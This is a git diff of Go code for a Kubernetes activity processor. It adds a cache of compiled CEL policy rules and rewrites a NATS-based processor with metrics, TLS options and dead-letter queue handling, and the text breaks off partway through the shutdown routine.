version for cache invalidation. + ResourceVersion string + // OriginalPolicy is the original policy for metrics and logging. + OriginalPolicy *v1alpha1.ActivityPolicy +} + +// PolicyCache provides thread-safe caching of pre-compiled ActivityPolicy resources. +type PolicyCache struct { + mu sync.RWMutex + + // policies stores compiled policies indexed by apiGroup/resource (plural) + // Multiple policies can target the same resource. + policies map[string][]*CompiledPolicy + + // policiesByKind stores compiled policies indexed by apiGroup/kind + // for event lookups since events use Kind not Resource. + policiesByKind map[string][]*CompiledPolicy +} + +// NewPolicyCache creates a new policy cache. +func NewPolicyCache() *PolicyCache { + return &PolicyCache{ + policies: make(map[string][]*CompiledPolicy), + policiesByKind: make(map[string][]*CompiledPolicy), + } +} + +// Add compiles and adds a policy to the cache. +func (c *PolicyCache) Add(policy *v1alpha1.ActivityPolicy, resource string) error { + compiled, err := c.compile(policy, resource) + if err != nil { + return err + } + + c.mu.Lock() + defer c.mu.Unlock() + + // Index by apiGroup/resource for audit lookups + key := policyKey(policy.Spec.Resource.APIGroup, resource) + c.policies[key] = append(c.policies[key], compiled) + + // Index by apiGroup/kind for event lookups + kindKey := policyKey(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) + c.policiesByKind[kindKey] = append(c.policiesByKind[kindKey], compiled) + + klog.V(2).InfoS("Added compiled policy to cache", + "policy", policy.Name, + "key", key, + "kindKey", kindKey, + "auditRules", len(compiled.AuditRules), + "eventRules", len(compiled.EventRules), + ) + + return nil +} + +// Update removes the old policy and adds the new one. +func (c *PolicyCache) Update(oldPolicy, newPolicy *v1alpha1.ActivityPolicy, oldResource, newResource string) error { + c.mu.Lock() + defer c.mu.Unlock() + + // Remove old policy from both indexes + oldKey := policyKey(oldPolicy.Spec.Resource.APIGroup, oldResource) + c.removeLocked(oldKey, oldPolicy.Name) + oldKindKey := policyKey(oldPolicy.Spec.Resource.APIGroup, oldPolicy.Spec.Resource.Kind) + c.removeKindLocked(oldKindKey, oldPolicy.Name) + + // Compile and add new policy + compiled, err := c.compile(newPolicy, newResource) + if err != nil { + return err + } + + newKey := policyKey(newPolicy.Spec.Resource.APIGroup, newResource) + c.policies[newKey] = append(c.policies[newKey], compiled) + + newKindKey := policyKey(newPolicy.Spec.Resource.APIGroup, newPolicy.Spec.Resource.Kind) + c.policiesByKind[newKindKey] = append(c.policiesByKind[newKindKey], compiled) + + klog.V(2).InfoS("Updated compiled policy in cache", + "policy", newPolicy.Name, + "oldKey", oldKey, + "newKey", newKey, + "oldKindKey", oldKindKey, + "newKindKey", newKindKey, + ) + + return nil +} + +// Remove removes a policy from the cache. +func (c *PolicyCache) Remove(policy *v1alpha1.ActivityPolicy, resource string) { + c.mu.Lock() + defer c.mu.Unlock() + + key := policyKey(policy.Spec.Resource.APIGroup, resource) + c.removeLocked(key, policy.Name) + + kindKey := policyKey(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) + c.removeKindLocked(kindKey, policy.Name) + + klog.V(2).InfoS("Removed policy from cache", "policy", policy.Name, "key", key, "kindKey", kindKey) +} + +// removeLocked removes a policy by name from a key. Caller must hold the lock. +func (c *PolicyCache) removeLocked(key, policyName string) { + policies := c.policies[key] + for i, p := range policies { + if p.Name == policyName { + // O(1) removal: swap with last element and truncate. + policies[i] = policies[len(policies)-1] + c.policies[key] = policies[:len(policies)-1] + break + } + } + if len(c.policies[key]) == 0 { + delete(c.policies, key) + } +} + +// removeKindLocked removes a policy by name from the kind index. Caller must hold the lock. +func (c *PolicyCache) removeKindLocked(kindKey, policyName string) { + policies := c.policiesByKind[kindKey] + for i, p := range policies { + if p.Name == policyName { + // O(1) removal: swap with last element and truncate. + policies[i] = policies[len(policies)-1] + c.policiesByKind[kindKey] = policies[:len(policies)-1] + break + } + } + if len(c.policiesByKind[kindKey]) == 0 { + delete(c.policiesByKind, kindKey) + } +} + +// Get returns compiled policies for a given apiGroup and resource. +func (c *PolicyCache) Get(apiGroup, resource string) []*CompiledPolicy { + c.mu.RLock() + defer c.mu.RUnlock() + + key := policyKey(apiGroup, resource) + return c.policies[key] +} + +// GetByKind returns compiled policies for a given apiGroup and kind. +// Used by event processing since events reference Kind not Resource. +func (c *PolicyCache) GetByKind(apiGroup, kind string) []*CompiledPolicy { + c.mu.RLock() + defer c.mu.RUnlock() + + key := policyKey(apiGroup, kind) + return c.policiesByKind[key] +} + +// Len returns the total number of policies in the cache. +func (c *PolicyCache) Len() int { + c.mu.RLock() + defer c.mu.RUnlock() + + count := 0 + for _, policies := range c.policies { + count += len(policies) + } + return count +} + +// compile compiles an ActivityPolicy into a CompiledPolicy. +func (c *PolicyCache) compile(policy *v1alpha1.ActivityPolicy, resource string) (*CompiledPolicy, error) { + compiled := &CompiledPolicy{ + Name: policy.Name, + APIGroup: policy.Spec.Resource.APIGroup, + Kind: policy.Spec.Resource.Kind, + Resource: resource, + ResourceVersion: policy.ResourceVersion, + AuditRules: make([]CompiledRule, len(policy.Spec.AuditRules)), + EventRules: make([]CompiledRule, len(policy.Spec.EventRules)), + OriginalPolicy: policy.DeepCopy(), + } + + // Compile audit rules + for i, rule := range policy.Spec.AuditRules { + compiledRule := c.compileAuditRule(rule, policy.Name, i) + compiled.AuditRules[i] = compiledRule + } + + // Compile event rules + for i, rule := range policy.Spec.EventRules { + compiledRule := c.compileEventRule(rule, policy.Name, i) + compiled.EventRules[i] = compiledRule + } + + return compiled, nil +} + +// compileAuditRule compiles a single audit rule. +func (c *PolicyCache) compileAuditRule(rule v1alpha1.ActivityPolicyRule, policyName string, ruleIndex int) CompiledRule { + compiled := CompiledRule{ + Match: rule.Match, + Summary: rule.Summary, + Valid: true, + } + + // Create audit environment for compilation + env, err := auditEnvironment() + if err != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("failed to create CEL environment: %v", err) + klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + + // Compile match expression + matchAST, issues := env.Compile(rule.Match) + if issues != nil && issues.Err() != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("match: %v", issues.Err()) + klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + + matchProgram, err := env.Program(matchAST) + if err != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("match program: %v", err) + klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + compiled.MatchProgram = matchProgram + + // Compile summary template expressions + templates, err := compileSummaryTemplate(env, rule.Summary) + if err != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("summary: %v", err) + klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + compiled.SummaryTemplates = templates + + return compiled +} + +// compileEventRule compiles a single event rule. +func (c *PolicyCache) compileEventRule(rule v1alpha1.ActivityPolicyRule, policyName string, ruleIndex int) CompiledRule { + compiled := CompiledRule{ + Match: rule.Match, + Summary: rule.Summary, + Valid: true, + } + + // Create event environment for compilation + env, err := eventEnvironment() + if err != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("failed to create CEL environment: %v", err) + klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + + // Compile match expression + matchAST, issues := env.Compile(rule.Match) + if issues != nil && issues.Err() != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("match: %v", issues.Err()) + klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + + matchProgram, err := env.Program(matchAST) + if err != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("match program: %v", err) + klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + compiled.MatchProgram = matchProgram + + // Compile summary template expressions + templates, err := compileSummaryTemplate(env, rule.Summary) + if err != nil { + compiled.Valid = false + compiled.CompileError = fmt.Sprintf("summary: %v", err) + klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) + return compiled + } + compiled.SummaryTemplates = templates + + return compiled +} + +// compileSummaryTemplate compiles all {{ expression }} blocks in a summary template. +func compileSummaryTemplate(env *cel.Env, template string) ([]compiledTemplate, error) { + matches := summaryTemplateRegex.FindAllStringSubmatch(template, -1) + if len(matches) == 0 { + return nil, nil + } + + templates := make([]compiledTemplate, 0, len(matches)) + for _, match := range matches { + if len(match) < 2 { + continue + } + + expr := strings.TrimSpace(match[1]) + if expr == "" { + return nil, fmt.Errorf("empty expression in template: %s", match[0]) + } + + ast, issues := env.Compile(expr) + if issues != nil && issues.Err() != nil { + return nil, fmt.Errorf("expression '%s': %w", expr, issues.Err()) + } + + prg, err := env.Program(ast) + if err != nil { + return nil, fmt.Errorf("expression '%s': %w", expr, err) + } + + templates = append(templates, compiledTemplate{ + FullMatch: match[0], + Expression: expr, + Program: prg, + }) + } + + return templates, nil +} + +// auditEnvironment creates a CEL environment for audit rule expressions. +// Uses the shared environment from internal/cel package. +func auditEnvironment() (*cel.Env, error) { + return internalcel.NewAuditEnvironment(nil) +} + +// eventEnvironment creates a CEL environment for event rule expressions. +// Uses the shared environment from internal/cel package. +func eventEnvironment() (*cel.Env, error) { + return internalcel.NewEventEnvironment(nil) +} + +// EvaluateAuditRules evaluates audit rules against an audit event using pre-compiled programs. +// Returns the index of the matching rule, the generated summary, and whether a match was found. +func (r *CompiledRule) EvaluateAuditMatch(auditMap map[string]any) (bool, error) { + if !r.Valid || r.MatchProgram == nil { + return false, nil + } + + vars := internalcel.BuildAuditVars(auditMap) + + out, _, err := r.MatchProgram.Eval(vars) + if err != nil { + return false, fmt.Errorf("failed to evaluate match: %w", err) + } + + result, ok := out.Value().(bool) + if !ok { + return false, fmt.Errorf("match expression did not return boolean") + } + + return result, nil +} + +// EvaluateSummary evaluates the summary template using pre-compiled programs. +func (r *CompiledRule) EvaluateSummary(vars map[string]any) (string, error) { + if len(r.SummaryTemplates) == 0 { + return r.Summary, nil + } + + result := r.Summary + for _, tmpl := range r.SummaryTemplates { + out, _, err := tmpl.Program.Eval(vars) + if err != nil { + return "", fmt.Errorf("failed to evaluate summary expression '%s': %w", tmpl.Expression, err) + } + result = strings.Replace(result, tmpl.FullMatch, fmt.Sprintf("%v", out.Value()), 1) + } + + return result, nil +} + +// EvaluateEventMatch evaluates the match expression against a Kubernetes event. +func (r *CompiledRule) EvaluateEventMatch(eventMap map[string]any) (bool, error) { + if !r.Valid || r.MatchProgram == nil { + return false, nil + } + + vars := internalcel.BuildEventVars(eventMap) + + out, _, err := r.MatchProgram.Eval(vars) + if err != nil { + return false, fmt.Errorf("failed to evaluate match: %w", err) + } + + result, ok := out.Value().(bool) + if !ok { + return false, fmt.Errorf("match expression did not return boolean") + } + + return result, nil +} + +// EvaluateCompiledAuditRules evaluates pre-compiled audit rules against an audit event. +// Returns the generated Activity, the matching rule index, and any error. +// Returns (nil, -1, nil) if no rule matched. +func EvaluateCompiledAuditRules( + policy *CompiledPolicy, + auditMap map[string]any, + audit *auditv1.Event, + resolveKind processor.KindResolver, +) (*v1alpha1.Activity, int, error) { + for i := range policy.AuditRules { + rule := &policy.AuditRules[i] + if !rule.Valid { + continue + } + + matched, err := rule.EvaluateAuditMatch(auditMap) + if err != nil { + return nil, i, fmt.Errorf("rule %d match: %w", i, err) + } + + if matched { + // Use the interpreted summary evaluation (not pre-compiled EvaluateSummary) because + // link() calls capture links via a side-channel collector that must be freshly + // created per evaluation. The pre-compiled programs don't support link collection. + summary, links, err := internalcel.EvaluateAuditSummaryMap(rule.Summary, auditMap) + if err != nil { + return nil, i, fmt.Errorf("rule %d summary: %w", i, err) + } + + builder := &processor.ActivityBuilder{ + APIGroup: policy.APIGroup, + Kind: policy.Kind, + } + activity, err := builder.BuildFromAudit(audit, summary, links, resolveKind) + if err != nil { + return nil, i, fmt.Errorf("rule %d build: %w", i, err) + } + + return activity, i, nil + } + } + + return nil, -1, nil +} + +// MatchEvent implements processor.EventPolicyLookup. +// It looks up matching event rules for the given apiGroup/kind and evaluates them +// against the provided event map. Returns the first matching result, or nil if no policy matched. +func (c *PolicyCache) MatchEvent(apiGroup, kind string, eventMap map[string]any) (*processor.MatchedPolicy, error) { + policies := c.GetByKind(apiGroup, kind) + if len(policies) == 0 { + return nil, nil + } + + // First matching policy wins + for _, policy := range policies { + for i := range policy.EventRules { + rule := &policy.EventRules[i] + if !rule.Valid { + continue + } + + // Evaluate match expression + matched, err := rule.EvaluateEventMatch(eventMap) + if err != nil { + eventJSON, _ := json.Marshal(eventMap) + klog.V(2).InfoS("Failed to evaluate event match", + "policy", policy.Name, + "ruleIndex", i, + "error", err, + "eventJSON", truncateString(string(eventJSON), 4096), + ) + continue + } + + if matched { + // Evaluate summary using internalcel.EvaluateEventSummary for proper link collection + summary, links, err := internalcel.EvaluateEventSummary(rule.Summary, eventMap) + if err != nil { + return nil, processor.NewPolicyEvaluationError( + policy.Name, i, + fmt.Errorf("failed to evaluate summary: %w", err), + ) + } + + return &processor.MatchedPolicy{ + PolicyName: policy.Name, + Generation: policy.OriginalPolicy.Generation, + APIGroup: policy.APIGroup, + Kind: policy.Kind, + Summary: summary, + Links: links, + }, nil + } + } + } + + return nil, nil +} diff --git a/internal/activityprocessor/processor.go b/internal/activityprocessor/processor.go index 22a3a154..b10f79d4 100644 --- a/internal/activityprocessor/processor.go +++ b/internal/activityprocessor/processor.go @@ -1,1240 +1,1240 @@ -package activityprocessor - -import ( - "context" - "crypto/tls" - "crypto/x509" - "encoding/json" - "errors" - "fmt" - "net/http" - "os" - "sync" - "time" - - "github.com/nats-io/nats.go" - "github.com/prometheus/client_golang/prometheus" - "github.com/prometheus/client_golang/prometheus/promhttp" - auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" - corev1 "k8s.io/api/core/v1" - "k8s.io/apimachinery/pkg/api/meta" - "k8s.io/client-go/discovery" - "k8s.io/client-go/discovery/cached/memory" - "k8s.io/client-go/kubernetes" - typedcorev1 "k8s.io/client-go/kubernetes/typed/core/v1" - "k8s.io/client-go/rest" - "k8s.io/client-go/restmapper" - toolscache "k8s.io/client-go/tools/cache" - "k8s.io/client-go/tools/record" - "k8s.io/klog/v2" - "sigs.k8s.io/controller-runtime/pkg/cache" - "sigs.k8s.io/controller-runtime/pkg/client" - "sigs.k8s.io/controller-runtime/pkg/healthz" - "sigs.k8s.io/controller-runtime/pkg/metrics" - - "go.miloapis.com/activity/internal/controller" - "go.miloapis.com/activity/internal/processor" - "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" -) - -var ( - eventsReceived = prometheus.NewCounterVec( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Name: "events_received_total", - Help: "Total number of events received from NATS", - }, - []string{"source", "api_group", "resource"}, - ) - - eventsEvaluated = prometheus.NewCounterVec( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Name: "events_evaluated_total", - Help: "Total number of events evaluated against policies", - }, - []string{"source", "policy", "api_group", "kind", "matched"}, - ) - - eventsSkipped = prometheus.NewCounterVec( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Name: "events_skipped_total", - Help: "Total number of events skipped", - }, - []string{"source", "reason"}, - ) - - eventsErrored = prometheus.NewCounterVec( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Name: "events_errored_total", - Help: "Total number of events that encountered errors", - }, - []string{"source", "error_type"}, - ) - - activitiesGenerated = prometheus.NewCounterVec( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Name: "activities_generated_total", - Help: "Total number of activities generated and published", - }, - []string{"policy", "api_group", "kind"}, - ) - - eventProcessingDuration = prometheus.NewHistogramVec( - prometheus.HistogramOpts{ - Namespace: "activity_processor", - Name: "event_processing_duration_seconds", - Help: "Time spent processing events per policy", - Buckets: prometheus.DefBuckets, - }, - []string{"source", "policy"}, - ) - - policyCount = prometheus.NewGauge( - prometheus.GaugeOpts{ - Namespace: "activity_processor", - Name: "active_policies", - Help: "Number of active (Ready) policies being used", - }, - ) - - workerCount = prometheus.NewGauge( - prometheus.GaugeOpts{ - Namespace: "activity_processor", - Name: "active_workers", - Help: "Number of active worker goroutines", - }, - ) - - // NATS client metrics - natsConnectionStatus = prometheus.NewGauge( - prometheus.GaugeOpts{ - Namespace: "activity_processor", - Subsystem: "nats", - Name: "connection_status", - Help: "NATS connection status (1 = connected, 0 = disconnected)", - }, - ) - - natsDisconnectsTotal = prometheus.NewCounter( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Subsystem: "nats", - Name: "disconnects_total", - Help: "Total number of NATS disconnection events", - }, - ) - - natsReconnectsTotal = prometheus.NewCounter( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Subsystem: "nats", - Name: "reconnects_total", - Help: "Total number of NATS reconnection events", - }, - ) - - natsErrorsTotal = prometheus.NewCounter( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Subsystem: "nats", - Name: "errors_total", - Help: "Total number of NATS async errors", - }, - ) - - natsMessagesPublished = prometheus.NewCounter( - prometheus.CounterOpts{ - Namespace: "activity_processor", - Subsystem: "nats", - Name: "messages_published_total", - Help: "Total number of messages published to NATS", - }, - ) - - natsPublishLatency = prometheus.NewHistogram( - prometheus.HistogramOpts{ - Namespace: "activity_processor", - Subsystem: "nats", - Name: "publish_latency_seconds", - Help: "Latency of NATS publish operations", - Buckets: []float64{.001, .005, .01, .025, .05, .1, .25, .5, 1}, - }, - ) - -) - -func init() { - // Use controller-runtime's registry so metrics are exposed alongside controller metrics. - metrics.Registry.MustRegister( - eventsReceived, - eventsEvaluated, - eventsSkipped, - eventsErrored, - activitiesGenerated, - eventProcessingDuration, - policyCount, - workerCount, - // NATS metrics - natsConnectionStatus, - natsDisconnectsTotal, - natsReconnectsTotal, - natsErrorsTotal, - natsMessagesPublished, - natsPublishLatency, - ) -} - -// Config contains configuration for the activity processor. -type Config struct { - // NATS configuration - NATSURL string - NATSStreamName string // Source stream for audit events (e.g., "AUDIT_EVENTS") - ConsumerName string // Durable consumer name - - // Event stream configuration - NATSEventStream string // Source stream for Kubernetes events (e.g., "EVENTS") - NATSEventConsumer string // Durable consumer name for event processor - - // Output NATS stream for generated activities - OutputStreamName string // Stream for publishing activities (e.g., "ACTIVITIES") - OutputSubjectPrefix string // Subject prefix for activities (e.g., "activities") - - // NATS TLS/mTLS configuration - NATSTLSEnabled bool // Enable TLS for NATS connection - NATSTLSCertFile string // Path to client certificate file (for mTLS) - NATSTLSKeyFile string // Path to client private key file (for mTLS) - NATSTLSCAFile string // Path to CA certificate file for server verification - - // Dead-letter queue configuration - DLQEnabled bool // Enable dead-letter queue for failed events - DLQStreamName string // NATS stream name for DLQ (e.g., "ACTIVITY_DEAD_LETTER") - DLQSubjectPrefix string // Subject prefix for DLQ messages (e.g., "activity.dlq") - - // DLQ retry configuration - DLQRetryEnabled bool // Enable automatic retry of DLQ events - DLQRetryInterval time.Duration // Interval between retry batches - DLQRetryBatchSize int // Number of events to process per retry batch - DLQRetryBackoffBase time.Duration // Initial backoff duration - DLQRetryBackoffMultiplier float64 // Exponential backoff multiplier - DLQRetryBackoffMax time.Duration // Maximum backoff duration - DLQRetryAlertThreshold int // Retry count threshold for alerts - DLQRetryAuditSubject string // Subject for republishing audit events from DLQ - DLQRetryEventSubject string // Subject for republishing Kubernetes events from DLQ - - // Processing configuration - Workers int // Number of concurrent workers - BatchSize int // Messages to fetch per batch - AckWait time.Duration // Time before message redelivery - MaxDeliver int // Maximum redelivery attempts - - // Health probe configuration - HealthProbeAddr string // Address for health probe server (e.g., ":8081") - -} - -// DefaultConfig returns configuration with default values. -func DefaultConfig() Config { - return Config{ - NATSURL: "nats://localhost:4222", - NATSStreamName: "AUDIT_EVENTS", - ConsumerName: "activity-processor@activity.miloapis.com", - NATSEventStream: "EVENTS", - NATSEventConsumer: "activity-event-processor", - OutputStreamName: "ACTIVITIES", - OutputSubjectPrefix: "activities", - DLQEnabled: true, - DLQStreamName: "ACTIVITY_DEAD_LETTER", - DLQSubjectPrefix: "activity.dlq", - DLQRetryEnabled: true, - DLQRetryInterval: 5 * time.Minute, - DLQRetryBatchSize: 100, - DLQRetryBackoffBase: 1 * time.Minute, - DLQRetryBackoffMultiplier: 2.0, - DLQRetryBackoffMax: 24 * time.Hour, - DLQRetryAlertThreshold: 10, - Workers: 4, - BatchSize: 100, - AckWait: 30 * time.Second, - MaxDeliver: 5, - HealthProbeAddr: ":8081", - } -} - -// Processor consumes audit events from NATS, evaluates ActivityPolicies, -// and publishes Activity resources to NATS for downstream consumption. -type Processor struct { - config Config - restConfig *rest.Config - - nc *nats.Conn - js nats.JetStreamContext - - cache cache.Cache - - // mapper converts Kind to Resource using API discovery. Requires explicit - // Reset() on cache miss to discover newly registered CRDs. - mapper meta.ResettableRESTMapper - - // policyCache holds pre-compiled policies indexed by apiGroup/resource. - policyCache *PolicyCache - - // eventProcessor processes Kubernetes events from the EVENTS stream. - eventProcessor *processor.EventProcessor - - // eventEmitter emits Kubernetes Warning events for evaluation failures. - eventEmitter *EventEmitter - - // dlqPublisher publishes failed events to the dead-letter queue. - dlqPublisher processor.DLQPublisher - - // dlqRetryController handles automatic retry of DLQ events. - dlqRetryController *DLQRetryController - - wg sync.WaitGroup - ctx context.Context - cancel context.CancelFunc - - // Health tracking - healthMu sync.RWMutex - ready bool // Cache synced and NATS connected - healthServer *http.Server -} - -// New creates a new activity processor. -func New(config Config, restConfig *rest.Config) (*Processor, error) { - ctx, cancel := context.WithCancel(context.Background()) - - p := &Processor{ - config: config, - restConfig: restConfig, - policyCache: NewPolicyCache(), - ctx: ctx, - cancel: cancel, - } - - return p, nil -} - -// Start begins processing audit events. -func (p *Processor) Start(ctx context.Context) error { - // Start health probe server early so Kubernetes can check liveness - if p.config.HealthProbeAddr != "" { - p.startHealthServer() - } - - discoveryClient, err := discovery.NewDiscoveryClientForConfig(p.restConfig) - if err != nil { - return fmt.Errorf("failed to create discovery client: %w", err) - } - cachedDiscoveryClient := memory.NewMemCacheClient(discoveryClient) - p.mapper = restmapper.NewDeferredDiscoveryRESTMapper(cachedDiscoveryClient) - - c, err := cache.New(p.restConfig, cache.Options{ - Scheme: controller.Scheme, - }) - if err != nil { - return fmt.Errorf("failed to create cache: %w", err) - } - p.cache = c - - informer, err := p.cache.GetInformer(ctx, &v1alpha1.ActivityPolicy{}) - if err != nil { - return fmt.Errorf("failed to get informer for ActivityPolicy: %w", err) - } - - _, err = informer.AddEventHandler(toolscache.ResourceEventHandlerFuncs{ - AddFunc: p.onPolicyAdd, - UpdateFunc: p.onPolicyUpdate, - DeleteFunc: p.onPolicyDelete, - }) - if err != nil { - return fmt.Errorf("failed to add event handler: %w", err) - } - - p.wg.Add(1) - go func() { - defer p.wg.Done() - if err := p.cache.Start(ctx); err != nil { - klog.ErrorS(err, "Cache failed") - } - }() - - if !p.cache.WaitForCacheSync(ctx) { - return fmt.Errorf("failed to sync cache") - } - - klog.InfoS("ActivityPolicy cache synced") - - // Create controller-runtime client for event emission - k8sClient, err := client.New(p.restConfig, client.Options{ - Scheme: controller.Scheme, - }) - if err != nil { - return fmt.Errorf("failed to create kubernetes client: %w", err) - } - - // Create Kubernetes clientset for event broadcaster - clientset, err := kubernetes.NewForConfig(p.restConfig) - if err != nil { - return fmt.Errorf("failed to create kubernetes clientset: %w", err) - } - - // Create event broadcaster and recorder for emitting Kubernetes events - eventBroadcaster := record.NewBroadcaster() - eventBroadcaster.StartRecordingToSink(&typedcorev1.EventSinkImpl{ - Interface: clientset.CoreV1().Events(""), - }) - recorder := eventBroadcaster.NewRecorder(controller.Scheme, corev1.EventSource{Component: "activity-processor"}) - - // Create event emitter for health reporting - p.eventEmitter = NewEventEmitter(k8sClient, recorder) - - // Build NATS connection options - natsOpts := []nats.Option{ - nats.Name("activity-processor"), - nats.RetryOnFailedConnect(true), - nats.MaxReconnects(-1), - nats.ReconnectWait(time.Second), - nats.ReconnectJitter(100*time.Millisecond, time.Second), - nats.DisconnectErrHandler(func(nc *nats.Conn, err error) { - natsConnectionStatus.Set(0) - natsDisconnectsTotal.Inc() - if err != nil { - klog.ErrorS(err, "NATS disconnected") - } else { - klog.Info("NATS disconnected") - } - }), - nats.ReconnectHandler(func(nc *nats.Conn) { - natsConnectionStatus.Set(1) - natsReconnectsTotal.Inc() - klog.InfoS("NATS reconnected", "url", nc.ConnectedUrl()) - }), - nats.ClosedHandler(func(nc *nats.Conn) { - natsConnectionStatus.Set(0) - klog.Info("NATS connection closed") - }), - nats.ErrorHandler(func(nc *nats.Conn, sub *nats.Subscription, err error) { - natsErrorsTotal.Inc() - subName := "" - if sub != nil { - subName = sub.Subject - } - klog.ErrorS(err, "NATS async error", "subject", subName) - }), - nats.LameDuckModeHandler(func(nc *nats.Conn) { - klog.InfoS("NATS server entering lame duck mode, will reconnect to another server") - }), - } - - // Add TLS configuration if enabled - if p.config.NATSTLSEnabled { - tlsConfig, err := p.buildNATSTLSConfig() - if err != nil { - return fmt.Errorf("failed to build NATS TLS config: %w", err) - } - natsOpts = append(natsOpts, nats.Secure(tlsConfig)) - klog.InfoS("NATS TLS enabled") - } - - nc, err := nats.Connect(p.config.NATSURL, natsOpts...) - if err != nil { - return fmt.Errorf("failed to connect to NATS: %w", err) - } - p.nc = nc - natsConnectionStatus.Set(1) - - js, err := nc.JetStream() - if err != nil { - nc.Close() - return fmt.Errorf("failed to create JetStream context: %w", err) - } - p.js = js - - // Streams and consumers are managed declaratively via NATS JetStream controller. - // Fail fast if they don't exist rather than attempting to create them. - _, err = js.ConsumerInfo(p.config.NATSStreamName, p.config.ConsumerName) - if err != nil { - nc.Close() - return fmt.Errorf("consumer %q not found on stream %q (ensure NATS JetStream resources are deployed): %w", - p.config.ConsumerName, p.config.NATSStreamName, err) - } - - _, err = js.StreamInfo(p.config.OutputStreamName) - if err != nil { - nc.Close() - return fmt.Errorf("output stream %q not found (ensure NATS JetStream resources are deployed): %w", - p.config.OutputStreamName, err) - } - - // Initialize dead-letter queue publisher - dlqConfig := processor.DLQConfig{ - Enabled: p.config.DLQEnabled, - StreamName: p.config.DLQStreamName, - SubjectPrefix: p.config.DLQSubjectPrefix, - } - if dlqConfig.Enabled { - // Verify DLQ stream exists - _, err = js.StreamInfo(dlqConfig.StreamName) - if err != nil { - klog.V(1).InfoS("DLQ stream not found, dead-letter queue will be disabled", - "stream", dlqConfig.StreamName, - "error", err, - ) - dlqConfig.Enabled = false - } - } - p.dlqPublisher = processor.NewDLQPublisher(js, dlqConfig) - if dlqConfig.Enabled { - klog.InfoS("Dead-letter queue enabled", - "stream", dlqConfig.StreamName, - "subjectPrefix", dlqConfig.SubjectPrefix, - ) - } - - // Initialize DLQ retry controller - if p.config.DLQRetryEnabled && dlqConfig.Enabled { - retryConfig := DLQRetryConfig{ - Enabled: p.config.DLQRetryEnabled, - Interval: p.config.DLQRetryInterval, - BatchSize: p.config.DLQRetryBatchSize, - BackoffBase: p.config.DLQRetryBackoffBase, - BackoffMultiplier: p.config.DLQRetryBackoffMultiplier, - BackoffMax: p.config.DLQRetryBackoffMax, - AlertThreshold: p.config.DLQRetryAlertThreshold, - AuditRetrySubject: p.config.DLQRetryAuditSubject, - EventRetrySubject: p.config.DLQRetryEventSubject, - } - p.dlqRetryController = NewDLQRetryController( - js, - retryConfig, - p.config.NATSStreamName, - p.config.NATSEventStream, - dlqConfig.StreamName, - dlqConfig.SubjectPrefix, - ) - - p.wg.Add(1) - go func() { - defer p.wg.Done() - if err := p.dlqRetryController.Start(ctx); err != nil { - klog.ErrorS(err, "DLQ retry controller failed") - } - }() - klog.InfoS("DLQ retry controller started", - "interval", retryConfig.Interval, - "batchSize", retryConfig.BatchSize, - ) - } - - klog.InfoS("Activity processor starting", - "stream", p.config.NATSStreamName, - "consumer", p.config.ConsumerName, - "outputStream", p.config.OutputStreamName, - "workers", p.config.Workers, - ) - - // Start audit event workers - workerErrors := make(chan error, p.config.Workers) - for i := 0; i < p.config.Workers; i++ { - p.wg.Add(1) - go p.worker(ctx, i, workerErrors) - } - go p.monitorWorkers(ctx, workerErrors) - - // Check that event stream consumer exists - _, err = js.ConsumerInfo(p.config.NATSEventStream, p.config.NATSEventConsumer) - if err != nil { - klog.V(1).InfoS("Event consumer not found, event processing will be disabled", - "stream", p.config.NATSEventStream, - "consumer", p.config.NATSEventConsumer, - "error", err, - ) - } else { - // Start event processor - p.eventProcessor = processor.NewEventProcessor( - p.js, - p.config.NATSEventStream, - p.config.NATSEventConsumer, - p.config.OutputSubjectPrefix, - p.policyCache, // PolicyCache implements EventPolicyLookup - p.config.Workers, - p.config.BatchSize, - p.dlqPublisher, - ) - p.wg.Add(1) - go func() { - defer p.wg.Done() - if err := p.eventProcessor.Run(ctx); err != nil { - klog.ErrorS(err, "Event processor failed") - } - }() - klog.InfoS("Event processor started", - "stream", p.config.NATSEventStream, - "consumer", p.config.NATSEventConsumer, - ) - } - - // Mark as ready and healthy now that everything is initialized - p.setReady(true) - - return nil -} - -// drainTimeout is the maximum time to wait for NATS connection to drain. -const drainTimeout = 30 * time.Second - -// Stop gracefully shuts down the processor. -func (p *Processor) Stop() { - klog.Info("Stopping activity processor") - - // Mark as unhealthy immediately - p.setReady(false) - - p.cancel() - p.wg.Wait() - - // Shutdown health server - if p.healthServer != nil { - shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) - defer cancel() - if err := p.healthServer.Shutdown(shutdownCtx); err != nil { - klog.ErrorS(err, "Failed to shutdown health server gracefully") - } - } - - // Drain NATS connection gracefully - if p.nc != nil && !p.nc.IsClosed() { - klog.Info("Draining NATS connection") - done := make(chan struct{}) - go func() { - if err := p.nc.Drain(); err != nil { - klog.ErrorS(err, "Failed to drain NATS connection, forcing close") - 